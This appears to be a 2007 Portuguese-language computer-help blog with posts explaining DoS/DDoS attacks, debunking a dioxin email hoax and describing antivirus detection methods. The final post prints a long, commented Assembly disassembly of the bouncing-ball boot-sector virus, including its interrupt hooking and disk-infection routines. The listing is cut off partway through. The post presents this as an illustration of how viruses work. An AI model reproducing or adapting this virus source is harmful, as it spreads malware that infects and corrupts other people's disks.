Conteúdo

Neste blog, você poderá tirar algumas dúvidas de informática, para poder obter um melhor desempenho de seu computador.É destinado aos amigos que tenham algum tipo de dificuldade em compreender alguns assuntos sobre o bom funcionamento de sua máquina.

terça-feira, 23 de outubro de 2007

Ataques DoS (Denial of Service) e DDoS (Distributed DoS)

Quem acompanha os noticiários de informática ou o próprio Boletim AntiVírus do InfoWester certamente já se deparou com matérias que citam ataques DoS ou ataques DDoS a sites. No entanto, poucos realmente sabem o que esses ataques fazem e como funcionam. O objetivo deste artigo é dar explicações sobre isso e também mostrar as conseqüências de tais ataques.

O que são ataques DoS

De acordo com a definição do CERT (Computer Emergency Response Team), os ataques DoS (Denial of Service), também denominados Ataques de Negação de Serviços, consistem em tentativas de impedir usuários legítimos de utilizarem um determinado serviço de um computador. Para isso, são usadas técnicas que podem: sobrecarregar uma rede a tal ponto em que os verdadeiros usuários dela não consigam usá-la; derrubar uma conexão entre dois ou mais computadores; fazer tantas requisições a um site até que este não consiga mais ser acessado; negar acesso a um sistema ou a determinados usuários.

Explicando de maneira ilustrativa, imagine que você usa um ônibus regularmente para ir ao trabalho. No entanto, em um determinado dia, uma quantidade enorme de pessoas "furaram a fila" e entraram no veículo, deixando-o tão lotado que você e os outros passageiros regulares não conseguiram entrar. Ou então, imagine que você tenha conseguido entrar no ônibus, mas este ficou tão cheio que não conseguiu sair do lugar por excesso de peso. Este ônibus acabou negando o seu serviço - o de transportá-lo até um local -, pois recebeu mais solicitações - neste caso, passageiros - do que suporta.

É importante frisar que quando um computador/site sofre ataque DoS, ele não é invadido, mas sim sobrecarregado. Isso independe do sistema operacional utilizado.

Os ataques do tipo DoS mais comuns podem ser feitos devido a algumas características do protocolo TCP/IP (Transmission Control Protocol / Internet Protocol), sendo possível ocorrer em qualquer computador que o utilize. Uma das formas de ataque mais conhecidas é a SYN Flooding, onde um computador tenta estabelecer uma conexão com um servidor através de um sinal do TCP conhecido por SYN (Synchronize). Se o servidor atender o pedido de conexão, enviará ao computador solicitante um sinal chamado ACK (Acknowledgement). O problema é que em ataques desse tipo, o servidor não consegue responder a todas as solicitações e então passa a recusar novos pedidos.

Outra forma de ataque comum é o UPD Packet Storm, onde um computador faz solicitações constantes para que uma máquina remota envie pacotes de respostas ao solicitante. A máquina fica tão sobrecarregada que não consegue executar suas funções.

Ataques DDoS

O DDoS, sigla para Distributed Denial of Service, é um ataque DoS ampliado, ou seja, que utiliza até milhares de computadores para atacar uma determinada máquina. Esse é um dos tipos mais eficazes de ataques e já prejudicou sites conhecidos, tais como os da CNN, Amazon, Yahoo, Microsoft e eBay.

Para que os ataques do tipo DDoS sejam bem-sucedidos, é necessário que se tenha um número grande de computadores para fazerem parte do ataque. Uma das melhores formas encontradas para se ter tantas máquinas, foi inserir programas de ataque DDoS em vírus ou em softwares maliciosos.

Em um primeiro momento, os hackers que criavam ataques DDoS tentavam "escravizar" computadores que agiam como servidores na internet. Com o aumento na velocidade de acesso à internet, passou-se a existir interesse nos computadores dos usuários comuns com acesso banda larga, já que estes representam um número muito grande de máquinas na internet.

Para atingir a massa, isto é, a enorme quantidade de computadores conectados à internet, vírus foram e são criados com a intenção de disseminar pequenos programas para ataques DoS. Assim, quando um vírus com tal poder contamina um computador, este fica disponível para fazer parte de um ataque DoS e o usuário dificilmente fica sabendo que sua máquina está sendo utilizado para tais fins. Como a quantidade de computadores que participam do ataque é grande, é praticamente impossível saber exatamente qual é a máquina principal do ataque.

Quando o computador de um internauta comum é infectado com um vírus com funções para ataques DoS, este computador passa a ser chamado de zumbi. Após a contaminação, os zumbis entram em contato com máquinas chamadas de mestres, que por sua vez recebem orientações (quando, em qual site/computador, tipo de ataque, entre outros) de um computador chamado atacante. Após receberem as ordens, os computadores mestres as repassam aos computadores zumbis, que efetivamente executam o ataque. Um computador mestre pode ter sob sua responsabilidade até milhares de computadores. Repare que nestes casos, as tarefas de ataque DoS são distribuídas a um "exército" de máquinas escravizadas. Daí é que surgiu o nome Distributed Denial of Service. A imagem abaixo ilustra a hierarquia de computadores usadas em ataques DDoS.



Como exemplo real de ataques DDoS ajudados por vírus, tem-se os casos das pragas digitais Codered, Slammer e MyDoom. Existem outros, mas estes são os que conseguiram os maiores ataques já realizados.

Impedindo e detectando ataques DoS

Apesar de não existir nenhum meio que consiga impedir totalmente um ataque DoS, é possível detectar a presença de ataques ou de computadores (zumbis) de uma rede que estão participando de um DDoS. Para isso, basta observar se está havendo mais tráfego do que o normal (principalmente em casos de sites, seja ele um menos conhecido, como o InfoWester, seja ele um muito utilizado, como o Google), se há pacotes TCP e UDP que não fazem parte da rede ou se há pacotes com tamanho acima do normal. Outra dica importante é utilizar softwares de IDS (Intrusion Detection System - Sistema de Identificação de Intrusos).

Para prevenção, uma das melhores armas é verificar as atualizações de segurança dos sistemas operacionais e softwares utilizados pelos computadores. Muitos vírus aproveitam de vulnerabilidades para efetuar contaminações. Também é importante filtrar certos tipos de pacotes na rede e desativar serviços que não são usados.

Emerson Alecrim, em 09/10/2004.

quinta-feira, 11 de outubro de 2007

Mas, o que afinal é esse tal de HOAX ?

Dá-se o nome de hoax ("embuste" numa tradução literal) a histórias falsas recebidas por e-mail, cujo conteúdo, além das conhecidas correntes, consiste em apelos dramáticos de cunho sentimental ou religioso, supostas campanhas filantrópicas, humanitárias ou de socorro pessoal ou, ainda, falsos virus que ameaçam destruir, contaminar ou formatar o disco rígido do computador.

Etimologia
A palavra hoax veio do pretenso encantamento hocus pocus. "Hocus pocus", por sua vez, pode ser uma distorção da expressão latina "hoc est corpus" ("este é o corpo") proferido durante a missa. O assunto ainda é controverso entre os etimologistas

Hoaxes típicos

Eis algumas notícias muito estranhas mas que foram exaustivamente enviadas. Todas são inteiramente falsas:

A Seleção Brasileira vendeu a Copa do Mundo do 1998, num esquema milionário, que envolveu a Nike, a Adidas, a Fifa, a CBF e os jogadores.
A Ericsson e a Nokia estão distribuindo celulares grátis.
Bill Gates oferecendo a você US$1000.
A Disney está dando a você férias grátis.
O guaraná Kuat causa câncer e impotência.
Uma companhia de alimentos infantis está enviando cheques.
A Procter & Gamble faz parte de cultos satânicos e o seu logotipo é satânico.
A Mirabilis vai lhe enviar o ICQ 2000 se você enviar mensagens para todos seus amigos e seu ICQ irá mostrar rostinhos diferentes em cada nome.
A MTV lhe dará o direito de ficar nos bastidores se você enviar correspondências para um grande número de pessoas.
A Nestlé enviará um cesta com produtos se você reenviar o e-mail para 15 pessoas.
O MSN passará a ser pago. É um abaixo assinado contra isso.
O Orkut será pago (outro abaixo assinado contra isso).
As supostas fotos de dentro do avião da Gol que caiu na floresta Amazônica, e circularam por e-mail, na verdade são screenshots de cenas do seriado americano Lost.
A combinação entre Coca-Cola Light e a plastilha Menthos provoca uma combinação explosiva no estômago.
O Windows possui um arquivo chamado Jdbgmgr.exe, com o ícone de um urso, que na verdade seria um vírus. Observação: esse arquivo realmente existe no Windows, mas faz parte do sistema, ou seja: não é um vírus.
A que o asteróide 2 Pallas teve sua órbita alterada e segundo os últimos cálculos está em rota de colisão com a Terra. Trata-se de uma mensagem publicitária de lançamento da marca de um carro homônino da Citroën. Foi publicado nas páginas iniciais da UOL e Terra no mês de junho de 2007, e o link da página com o texto do hoax continua sendo repassado pela internet.
Notificação de dívida em serviços de proteção ao crédito (SERASA etc), apontanto para um link onde você insere seus dados (nome completo, CPF e endereço). Os spammers lammers captam suas informações (phishing) e cometem crimes e fraudes com sua identidade. Estas cobranças também muitas vezes apontam para um site o qual contém um Cavalo de Tróia que poderá instalar um keylogger (capturador de informações digitadas e de telas exibidas) no computador se o antivirus não estiver atualizado.

E-mail sobre um possível HOAX

From: ????????@globo.com
To: dexterhome1@hotmail.com
Subject: Fw: DIOXINA!!!
Date: Thu, 11 Oct 2007 01:37:03 -0300



DIOXINA!!!


Não é a toa que a Coca-Cola está voltando com as garrafas de vidro.
Dioxina Carcinogênica causa especialmente câncer da mama.
Não congele sua água em garrafas ou utensílios de plástico, pois isso
provoca a liberação de dioxina do plástico.
Edward Fujimoto, médico do Casale Hospital, foi entrevistado por um
programa de TV explicando este alerta de saúde.
Ele é o gerente do Programa de Bem Estar/Programa de Promoção da Saúde do hospital.
Falou sobr e a Dioxina e seu risco de saúde para nós.
Mencionou que não devemos esquentar alimentos em vasilhames de plástico no
forno de microondas. Isto é aplicável para alimentos que contém gordura.
Disse que a combinação de gordura, alta temperatura e plástico, libera a
dioxina no alimento e por fim, vai parar nas células do nosso corpo.
Dioxinas são carcinógenos altamente tóxicos.
Ele recomenda: Use refratário de vidro, pirex ou porcelana para aquecer
alimentos. Você tem o mesmo resultado... sem as dioxinas.
Sopas semiprontas onde se adiciona água quente no invólucro de isopor ou
qualquer tipo de comida semipronta/congelada com invólucro de plástico,
próprio para ir ao forno ou microondas, deveriam ser retiradas das
embalagens originais e removidas para vasilhame de vidro ou louça para
aquecimento. Invólucro de papel não é ruim, mas não sabemos o que cada tipo
de papel pode conter, então, seria mais seguro utilizar refratário de
vidro, pirex ou porcelana. Vocês devem se lembr ar quando
alguns restaurantes fast-food (MacDonalds) trocaram invólucros de isopor pelo de papel.
O problema da dioxina seria um dos motivos.
Para acrescentar: filme-plástico (saran wrap) utilizado para proteger e
cobr ir alimentos, quando aquecidos podem na verdade respingar toxina
venenosa contida na composição do plástico no alimento a ser esquentado
junto com o vapor condensado. Use papel toalha, é mais seguro.

Repasse esta informação para os seus amigos.

Analizando as informações da mensagem acima

Vamos analizar por partes esta informação. Pois das duas uma: ou é uma invenção mentirosa (HOAX) ou pode ser a mais pura verdade.

1- O texto contém muita informação técnica o que faz crer ao leitor se tratar de uma informação de caráter ilibadamente verdadeira;

2- Dioxina ... O que é isto e o que se trata???

2-a- A dioxina surgiu como arma química usada pelos americanos na II Guerra Mundial. Sua sigla era LM. A intenção dos americanos era liberar essa substância nas lavouras dos japoneses. Entretanto, eles optaram por lançar a bomba atômica, em Nagasaki, no ano de 1945.

2-b- A dioxina mais comum é a tetraclorodibenzodioxina, ou 2,3,7,8-TCDD. As dioxinas mais tóxicas e uma das mais conhecidas tem átomos de cloro nas posições 2,3,7,8.

2-c- Entre os males causados pela dioxina no homem podemos citar o extermínio das defesas orgânicas (comparado à AIDS), o surgimento de vários tipos de câncer e a teratogenia, isto é, a propriedade de geração de crianças deformadas (falta de nariz, lábios leporinos, olhos cíclopes, ausência de cérebro etc.).

2-d- A dioxina aparece basicamente, na queima de produtos que contém cloro. O PVC, por exemplo, nosso velho conhecido, é inofensivo em si; todavia, a sua queima irá gerar dioxina, além do que, para esse produto, haverá a liberação de ácido cianídrico, poderoso tóxico.

2-e- Todavia, descobriu-se que no resfriamento dos gases de combustão, em determinada faixa de temperatura, lá estavam, de novo, dioxinas e furanos. As dioxinas e furanos têm grande afinidade pelas gorduras ou pelos alimentos que contém gorduras (lingüiças, queijos, leites, manteigas, carnes...). Caindo nas pastagens, ela passa às gorduras dos animais e daí para o alimento que o homem irá ingerir.

2-f- A descoberta de níveis alarmantes de contaminação de leite por dioxina na Alemanha levou as autoridades daquele país a suspender as importações de farelo de polpa cítrica (Citrus Pulp Pellets - CPP) do Brasil. O CPP brasileiro, largamente usado como parte da ração do gado europeu, foi apontado pelas investigações como a causa da contaminação. Logo em seguida, a Comissão Européia proibiu os países europeus de importarem o produto do Brasil até que houvesse garantias de que não estava mais contaminado e que houvesse um esclarecimento das causas da contaminação. Novas investigações revelaram, então, que a cal utilizada para neutralizar o farelo de polpa cítrica estava contaminada por dioxinas. A cal era proveniente da empresa petroquímica Solvay, braço brasileiro da multinacional de origem belga Solvay & Cie S/A.

2-g- Entretanto, recentemente foi descoberta uma contaminação por "dioxinas" no leite de vaca produzido na Europa, originada de produtos importados do Brasil. As autoridades européias depois de examinar uma ampla gama de possibilidades (detergentes, pesticidas, tintas, etc.), concluíram que a ração diária do gado continha níveis elevados de "dioxinas".

2-h- A gravidade da contaminação se acentua quando é sabido que a "dioxina" é considerada hoje a mais violenta substância criada pelo Homem, com seu grau de periculosidade ultrapassando o urânio e o plutônio. Além do que a contaminação não se compara com agente tóxico comum que se possa ver, sentir ou medir por grama. A medida usada para aferir a "dioxina" encontra-se na escala dos nanogramas, ou seja, um bilionésimo de grama.

2-i- Autoridades do mundo científico destacam que as doenças provocadas pela contaminação são várias, entre elas o "cloroacne", que dispensa definições; o câncer no fígado; o câncer no palato; o câncer no nariz; o câncer na língua; o câncer no aparelho respiratório; o câncer na tireóide; a queda de imunidade; malformações e óbitos fetais; abortamentos; distúrbios hormonais; concentrações aumentadas de colesterol e triglicéridos; hiperpigmentação da pele; dor de cabeça e nos músculos; desordem no aparelho digestivo; inapetência, fraqueza e perda de peso; neuropatias; perda da libido e desordens dos sensos.

2-j- Mas, o que mais causa indignação é que a contaminação não tem origem na cal, propriamente, mas somente se agrega ao produto quando seu processamento é realizado sem a mínima observação dos padrões técnicos ou quando afronta as normas que regulam o controle do meio ambiente e da saúde pública. Apesar disso, ainda é possível encontrar dezenas de produtores que, criminosamente, realizam a calcinação com a queima de pneus, lixo plástico ou combustíveis alternativos, colocando em risco a saúde e a vida de milhões de pessoas no Brasil e dos demais países que importam produtos brasileiros.

3- Politereftalato de etila, ou PET, é um poliéster, polímero termoplástico ou plástico, desenvolvido por dois químicos britânicos Whinfield e Dickson em 1941, formado pela reação entre o ácido tereftálico e o etileno glicol, formando um poliéster. Utiliza-se principalmente na forma de fibras para tecelagem e de embalagens para bebidas.
Possui propriedades termoplásticas, isto é, pode ser reprocessado diversas vezes pelo mesmo ou por outro processo de transformação. Quando aquecidos a temperaturas adequadas, esses plásticos amolecem, fundem e podem ser novamente moldados.
As garrafas produzidas com este polímero só começaram a ser fabricadas na década de 70, após cuidadosa revisão dos aspectos de segurança e meio ambiente.
No começo dos anos 80, os Estados Unidos e o Canadá iniciaram a coleta dessas garrafas, reciclando-as inicialmente para fazer enchimento de almofadas. Com a melhoria da qualidade do PET reciclado, surgiram aplicações importantes, como tecidos, lâminas e garrafas para produtos não alimentícios.
Mais tarde na década de 90, o governo americano autorizou o uso destes material reciclado em embalagens de alimentos.

4- O QUE É PET

O PET - Poli (Tereftalato de Etileno) - é um poliéster, polímero termoplástico.
Simplificando, PET é o melhor e mais resistente plástico para fabricação de garrafas e embalagens para refrigerantes, águas, sucos, óleos comestíveis, medicamentos, cosméticos, produtos de higiene e limpeza, destilados, isotônicos, cervejas, entre vários outros como embalagens termoformadas, chapas e cabos para escova de dente.
O PET proporciona alta resistência mecânica (impacto) e química, além de ter excelente barreira para gases e odores. Devido as características já citadas e o peso muito menor que das embalagens tradicionais, o PET mostrou ser o recipiente ideal para a indústria de bebidas em todo o mundo, reduzindo custos de transporte e produção. Por tudo isso, oferece ao consumidor um produto substancialmente mais barato, seguro e moderno.

Não seria o vilão o tal do PVC ???

Além das dioxinas, outros compostos da decomposição térmica do PVC, como furanos e ftalatos, têm sido recentemente estudados pelos seus efeitos nocivos e formação de compostos de prolongada persistência no meio ambiente. Estes problemas vêm comprometendo a utilização do PVC em materiais de embalagem e outros materiais, apesar de suas excelentes características de maquinabilidade e baixo custo relativo comparado com outras resinas.
Para terminar, entre no site da Coca Cola do Brasil no endereço abaixo e leia sobre os mitos que envolvem esta estória relacionada à este refrigerante.

http://www.cocacolabrasil.com.br/boatos_mitos.asp?categoria=27

"...Não há qualquer base científica que comprove ou que sugira que garrafas de PET venham a liberar dioxinas em presença de líquidos congelados.
Dioxinas são compostos produzidos a temperaturas extremamente elevadas, acima de 370º C. Elas não se formam à temperatura ambiente ou de congelamento.
O PET (polietileno tereftalato) usado na fabricação de garrafas de refrigerantes, mesmo quando incinerado, não forma dioxina.
Os produtos gerados da queima de uma embalagem PET são principalmente, água, dióxido de carbono – um gás encontrado na atmosfera que, também, é consequência de nossa própria respiração, além de traços de metano, etileno, acetaldeído e ácido tereftálico. Nenhuma destas substâncias é tóxica nos níveis liberados por uma garrafa de PET quando incinerada.
A maior parte das bebidas não alcoólicas, inclusive água, produzida no Brasil, se utilizam das embalagens de PET que contou com diversos estudos, pesquisas e normas antes de ser certificado como um plástico seguro para o uso e com ampla utilização em todo o mundo.
Os testes realizados nas embalagens de PET tanto pelos laboratórios de controle de todo o mundo como por laboratórios de pesquisa de universidades e de institutos atestam que não há migração de substâncias tóxicas como dioxinas e outras para os líquidos contidos nestas embalagens.

No Brasil, o Ministério da Saúde autoriza o PET para diversas aplicações de acondicionamento de alimentos e bebidas. As normas brasileiras seguem rígidos padrões internacionais as quais têm que ser respeitadas pelos produtores de embalagens.
Informações adicionais podem ser obtidas nos sites:
Plastivida Instituto Sócio-Ambiental dos Plásticos, com sede em São Paulo-SP
http://www.plastivida.org.br clique em “Importância para a Vida” e, opte pelo item “Saúde/Alimentos” (nº 62/63 e 64/65).
American Plastics Council (Conselho Americano de Plásticos) dos E.U.A. (em inglês)
http://www.plasticsinfo.org/s_plasticsinfo/sec_level2_faq.asp?CID=705&DID=2839#8

Texto analizado, levei exatamente 12 minutos a partir do recebimento da informação e descobri ser FALSA e que a informação não procede.
Além disto, por ter feito a pesquisa, aprendi um monte de coisa nova.

É o ócio do ofício...

sábado, 6 de outubro de 2007

Virus Atack

Como Agem os Anti-Vírus

Os programas anti-vírus agem, principalmente, lançando mão de 4 formas diferentes, para conseguir detectar o máximo de vírus possível. Abaixo resumimos - de forma bem resumida - esses métodos.

Escaneamento de vírus conhecidos
Este é o método mais antigo, e ainda hoje um dos principais métodos utilizados por todos os programas anti-vírus do mercado.
Envolve o escaneamento em busca de vírus já conhecidos, isto é aqueles vírus que já são conhecidos das empresas de anti-vírus.
Uma vez que as empresas recebem uma amostra de um vírus eles o desassemblam para que seja separada uma string (um grupo de caracteres seqüenciais) dentro do código viral que só seja encontrada nesse vírus, e em nenhum programa normal à venda no mundo. Essa string, uma espécie de impressão digital do vírus, passa a ser distribuída semanalmente pelos fabricantes, dentro de suas vacinas.
O "engine" do anti-vírus usa esse verdadeiro banco-de-dados de strings para ler cada arquivo do disco, um a um, do mesmo modo que o sistema operacional lê cada arquivo para carregá-lo na memória e/ou executá-lo. Se ele encontrar alguma das strings, identificadoras de vírus, o anti-vírus envia um alerta para o usuário, informando da existência do vírus.

Esse método não pode, entretanto, ser o único que o anti-vírus deva utilizar. Confiar apenas no conhecimento de vírus passados, pode ser pouco, deixando o usuário totalmente à descoberto quanto a novos vírus. Assim os fabricantes de anti-vírus passaram a utilizar de métodos adicionais, que permitissem detectar vírus novos, onde o escaneamento citado neste tópico não está ainda disponível.

Sensoreamento Heurístico
Os programas anti-vírus agora lançam mão do sensoreamento heurístico, isto é, a análise do código de cada programa que esteja sendo executado em memória (lembrete: todos os programas são executados em memória RAM!), ou quando um escaneamento sob demanda for solicitado pelo usuário. O "engine" varre os programas em busca de códigos assembler que indicam uma instrução que não deva ser executada por programas normais, mas que um vírus pode executar.
Um exemplo seria a descoberta de uma instrução dentro de um arquivo que faça uma chamada para a gravação dentro de um arquivo executável.
Este é um processo muito complexo, e sujeito a erros, pois algumas vezes um executável precisa gravar sobre ele mesmo, ou sobre outro arquivo, dentro de um processo de reconfiguração, por exemplo. O próprio programa anti-vírus deve pesar muito bem o risco/autenticidade desse tipo de instrução, antes de soar o alarme. Além disso, ou por culpa disso, o usuário deve compreender que em algumas situações poderá receber falsos alarmes - o que no jargão do mercado é chamado de FALSO POSITIVO (um aviso de vírus é dado, mas ele na verdade é falso - isto é: não é verdadeiro).

Os anti-vírus devem monitorar constantemente as operações que são executadas a cada instante no computador, visualizando acessos a arquivos e sinais de atividades suspeitas, tal como um arquivo tentando se auto-copiar em outros arquivos.
Embora sujeitas a erros, como aliás nós ficamos quando vemos uma pessoa desconhecida se aproximar de uma criança. Como avaliar com certeza se essa pessoa tem ou não boas intenções nesse acesso à criança?

Busca Algorítmica
Alguns programas anti-vírus usam uma tática diferente das anteriores, através da aplicação de algoritmos descritos em suas vacinas.
Vamos dar um exemplo. A busca à string 0A071A20 para detectar um vírus fictício:

SE este é arquivo de extensão COM
E SE ele tem mais de 900 bytes
E SE há uma instrução de salto para 597 bytes antes do final do arquivo
E SE a string 0A071A20 aparece nesta localização
ENTÃO abra uma janela de alerta "Vírus XXYYZZ.597 foi encontrado"

Esse método é mais eficaz que o primeiro método, porém leva a um código muito maior para as vacinas e engines, além de consumir maior tempo para escanear todo o computador.

Checagem de Integridade
Além dos métodos de escaneamento existem outras técnicas possíveis, tal como a técnica de checagem de integridade. Essa técnica cria um banco-de-dados, com o registro dos dígitos verificadores para cada arquivo existente no disco, que é salvo no disco para comparações posteriores.
Mais tarde, quando executada novamente esta checagem, o banco-de-dados é utilizado para conferir que nenhuma alteração, nem mesmo de um único byte, seja encontrada. Em se encontrando algum arquivo que o novo digito verificador não bata com o gravado anteriormente, é dado o alarme da possível existência de um arquivo contaminado.

Obviamente o usuário deverá aquilatar se o real motivo dessa alteração seja devido a uma atividade suspeita, ou se foi causada simplesmente por uma nova configuração, efetuada recentemente, e portanto legítima.

Todos esses métodos têm bom e maus pontos de vista. Para bloquear qualquer possibilidade de atividade de vírus, os programas de anti-vírus têm de fazer seu computador até mesmo inconveniente de utilizar.
Mesmo assim você ainda não terá NUNCA a certeza absoluta da garantia da segurança 100%.
Além disso os vírus, e seus companheiros trojans e worms, não são a única explicação das causas de perdas de dados e/ou programas em seu micro. Assim é ESSENCIAL que você utilize freqüentemente - se possível diariamente - um bom programa de backup. A única maneira de você poder ter seus arquivos de volta, com certeza mesmo.

Fonte: http://www.pypbr.com/infovir/anti-virus.asp

sábado, 29 de setembro de 2007

Primeira reportagem sobre Vírus de Computador feita em 1990 pela TV Cultura

Estrutura de um Vírus

O que muita gente gostaria de saber é, como um vírus funciona e como ele realmente é por dentro. Este por exemplo foi feito em linguagem Assembly e mostra na tela uma bolinha saltitante, enquanto seu computador vai sendo infectado.

; **************************************************
; *** VIRUS ITALIANO SALTITANTE - A LISTAGEM ***
; *** Desassemblagem obtida por Miguel Vitorino ***
; *** Para : S P O O L E R - Junho de 1989 ***
; **************************************************
.RADIX 16
jmpf macro x
db 0eah
dd x
endm
Virus SEGMENT
assume cs:virus;ds:virus
jmpf MACRO x
db 0eah
dd x
ENDM
org 0100h
begin: jmp short entry
db 1eh-2 dup (?) ; Informacao relativa a' disquete
entry: xor ax,ax
mov ss,ax
mov sp,7c00 ; Colocar o Stack antes do inicio do
mov ds,ax ; virus
mov ax,ds:[0413] ; Retirar 2 K como se nao existissem
sub ax,2 ; para que o DOS nao la' chegue !
mov ds:[0413],ax
mov cl,06 ; Converter o tamanho da RAM num
shl ax,cl ; numero de segmento que se situa nos
sub ax,07c0 ; 2 ultimos K
mov es,ax ; De seguida passar este programa
mov si,7c00 ; para esse sitio de memoria
mov di,si ; ( i.e. o programa transfere-se a si
mov cx,0100 ; proprio )
repz movsw
mov cs,ax ; Transferencia de controlo para ai!
push cs ; Agora sim , ja' estamos nos tais 2K
pop ds
call reset ; fazer duas vezes um "reset" ao
reset: xor ah,ah ; controlador de disco
int 13
and byte ptr ds:drive,80
mov bx,ds:sector ; Sector onde esta' o resto do virus
push cs
pop ax
sub ax,0020
mov es,ax
call ler_sector ; Ler o resto do virus da drive
mov bx,ds:sector
inc bx
mov ax,0ffc0 ; Carregar o sector de boot original
mov es,ax
call ler_sector
xor ax,ax
mov ds:estado,al
mov ds,ax
mov ax,ds:[004c] ; "Confiscar" o interrupt 13
mov bx,ds:[004e] ; ( operacoes sobre disquetes/discos )
mov word ptr ds:[004c],offset int_13
mov ds:[004e],cs
push cs
pop ds
mov word ptr ds:velho_13,ax ; Guardar a velha rotina do int. 13
mov word ptr ds:velho_13+2,bx
mov dl,ds:drive
jmpf 0:7c00 ; Efectuar o arranque do sistema
Esc_Sector proc near
mov ax,0301 ; Escrever um sector da drive
jmp short cs:transferir
Esc_Sector endp
Ler_Sector proc near
mov ax,0201 ; Ler um sector da drive
Ler_Sector endp
Transferir proc near ; Efectuar uma transferencia de dados
xchg ax,bx ; de ou para a drive
add ax,ds:[7c1c] ; Este procedimento tem como entrada
xor dx,dx ; o numero do sector pretendido ( BX )
div ds:[7c18] ; e de seguida sao feitas as contas
inc dl ; para saber qual a pista e o lado
mov ch,dl ; onde esse sector fica
xor dx,dx
div ds:[7c1a]
mov cl,06
shl ah,cl
or ah,ch
mov cx,ax
xchg ch,cl
mov dh,dl
mov ax,bx ; Depois de todas as contas feitas
transf: mov dl,ds:drive ; pode-se chamar o interrupt 13H
mov bx,8000 ; es:bx = end. de transferencia
int 13
jnb trans_exit
pop ax
trans_exit: ret
Transferir endp
Int_13 proc near ; Rotina de atendimento ao int. 13H
push ds ; (operacoes sobre discos e disquetes)
push es
push ax
push bx
push cx
push dx
push cs
pop ds
push cs
pop es
test byte ptr ds:estado,1 ; Testar se se esta' a ver se o virus
jnz call_BIOS ; esta' no disco
cmp ah,2
jnz call_BIOS
cmp ds:drive,dl ; Ver se a ultima drive que foi
mov ds:drive,dl ; mexida e' igual a' drive onde
jnz outra_drv ; se vai mexer
xor ah,ah ; Neste momento vai-se tirar a' sorte
int 1a ; para ver se o virus fica activo
test dh,7f ; Isto e' feito a partir da leitura
jnz nao_desp ; da hora e se for igual a um dado
test dl,0f0 ; numero , o virus e' despoletado
jnz nao_desp
push dx ; Instalar o movimento da bola
call despoletar
pop dx
nao_desp: mov cx,dx
sub dx,ds:semente
mov ds:semente,cx
sub dx,24
jb call_BIOS
outra_drv: or byte ptr ds:estado,1 ; Indicar que se esta' a testar a
push si ; presenca ou nao do virus na drive
push di
call contaminar
pop di
pop si
and byte ptr ds:estado,0fe ; Indicar fim de teste de virus
call_BIOS: pop dx
pop cx
pop bx
pop ax
pop es
pop ds
Velho_13 equ $+1
jmpf 0:0
Int_13 endp
Contaminar proc near
mov ax,0201
mov dh,0
mov cx,1
call transf
test byte ptr ds:drive,80 ; Pediu-se um reset a' drive ?
jz testar_drv ; Sim , passar a' contaminacao directa
mov si,81be
mov cx,4
proximo: cmp byte ptr [si+4],1
jz ler_sect
cmp byte ptr [si+4],4
jz ler_sect
add si,10
loop proximo
ret
ler_sect: mov dx,[si] ; Cabeca+drive
mov cx,[si+2] ; Pista+sector inicial
mov ax,0201 ; Ler esse sector
call transf
testar_drv: mov si,8002 ; Comparar os 28 primeiros bytes para
mov di,7c02 ; ver se o sector de boot e' o mesmo
mov cx,1c ; i.e. ver se a drive ja' foi virada !
repz movsb
cmp word ptr ds:[offset flag+0400],1357
jnz esta_limpa
cmp byte ptr ds:flag_2,0
jnb tudo_bom
mov ax,word ptr ds:[offset prim_dados+0400]
mov ds:prim_dados,ax ; Se chegar aqui entao a disquete ja'
mov si,ds:[offset sector+0400] ; esta' contaminada !
jmp infectar
tudo_bom: ret
; Neste momento descobriu-se uma disquete nao contaminada ! Vai-se agora
; proceder a' respectiva contaminacao !
esta_limpa: cmp word ptr ds:[800bh],0200; Bytes por sector
jnz tudo_bom
cmp byte ptr ds:[800dh],2 ; Sectores por cluster
jb tudo_bom
mov cx,ds:[800e] ; Sectores reservados
mov al,byte ptr ds:[8010] ; Numero de FAT's
cbw
mul word ptr ds:[8016] ; Numero de sectores de FAT
add cx,ax
mov ax,' '
mul word ptr ds:[8011] ; Numero de entradas na root
add ax,01ff
mov bx,0200
div bx
add cx,ax
mov ds:prim_dados,cx
mov ax,ds:[7c13] ; Numero de sectores da drive
sub ax,ds:prim_dados
mov bl,byte ptr ds:[7c0dh] ; Numero de sectores por cluster
xor dx,dx
xor bh,bh
div bx
inc ax
mov di,ax
and byte ptr ds:estado,0fbh ; Se o numero de clusters dor superior
cmp ax,0ff0 ; a 0FF0 entao cada entrada na FAT sao
jbe sao_3 ; 4 nibbles senao sao 3
or byte ptr ds:estado,4 ; 4 = disco duro ?
sao_3: mov si,1 ; Escolher sector a infectar
mov bx,ds:[7c0e] ; Numero de sectores reservados
dec bx
mov ds:inf_sector,bx ; Sector a infectar
mov byte ptr ds:FAT_sector,0fe
jmp short continua
Inf_Sector dw 1 ; Sector a infectar
Prim_Dados dw 0c ; Numero do primeiro sector de dados
Estado db 0 ; Estado actual do virus (instalado/nao instalado,etc)
Drive db 1 ; Drive onde se pediu uma accao
Sector dw 0ec ; Sector auxiliar para procura do virus
Flag_2 db 0 ; Estes proximos valores servem para ver se o virus
Flag dw 1357 ; ja' esta' ou nao presente numa drive , bastando
dw 0aa55 ; comparar se estes valores batem certos para o saber
continua: inc word ptr ds:inf_sector
mov bx,ds:inf_sector
add byte ptr ds:[FAT_sector],2
call ler_sector
jmp short l7e4b
; Este pequeno pedaco de programa o que faz e' percorrer a FAT que ja' esta' na
; memo'ria e procurar ai um cluster livre para colocar nesse sitio o resto do
; virus
verificar: mov ax,3 ; Media descriptor + ff,ff
test byte ptr ds:estado,4 ; disco duro ?
jz l7e1d
inc ax ; Sim , FAT comeca 1 byte mais adiante
l7e1d: mul si ; Multiplicar pelo numero do cluster
shr ax,1
sub ah,ds:FAT_sector
mov bx,ax
cmp bx,01ff
jnb continua
mov dx,[bx+8000] ; Ler a entrada na FAT
test byte ptr ds:estado,4
jnz l7e45
mov cl,4
test si,1
jz l7e42
shr dx,cl
l7e42: and dh,0f
l7e45: test dx,0ffff ; Se a entrada na FAT for zero,entao
jz l7e51 ; descobriu-se um cluster para por o
l7e4b: inc si ; virus , senao passa-se ao proximo
cmp si,di ; cluster ate' achar um bom
jbe verificar
ret
; Ja' foi descoberto qual o cluster a infectar ( registo BX ) , agora vai-se
; proceder a' infeccao da disquete ou disco e tambem a' marcacao desse cluster
; como um "bad cluster" para o DOS nao aceder a ele
l7e51: mov dx,0fff7 ; Marcar um "bad cluster" (ff7)
test byte ptr ds:estado,4 ; Ver qual o tamanho das ents. na FAT
jnz l7e68 ; ( 3 ou 4 nibbles )
and dh,0f
mov cl,4
